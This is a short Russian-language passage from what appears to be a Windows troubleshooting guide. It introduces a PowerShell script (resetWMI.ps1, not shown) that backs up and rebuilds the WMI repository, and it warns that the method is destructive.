Потенциально, приведенный в данном методе скрипт достаточно разрушителен, поскольку удаляет рабочий репозиторий. Тем не менее, при всех своих недостатках метод достаточно эффективен и не раз меня выручал. Следующий powershell-скрипт оптимизирован для использования под Windows 7 и выше, представляет собой последовательность действий по сохранению (в резервную папку) текущего репозитория, перестроению репозитория (перекомпиляции объектов), перерегистрации компонентных библиотек (провайдеров), а так же учитывает большинство описанных выше нюансов. Создайте файл resetWMI.ps1 и разместите там следующее содержимое:

скрипт можно сделать менее проблемным, если закомментировать группу инструкций (строки 10-15), которые производят переименование текущего репозитория.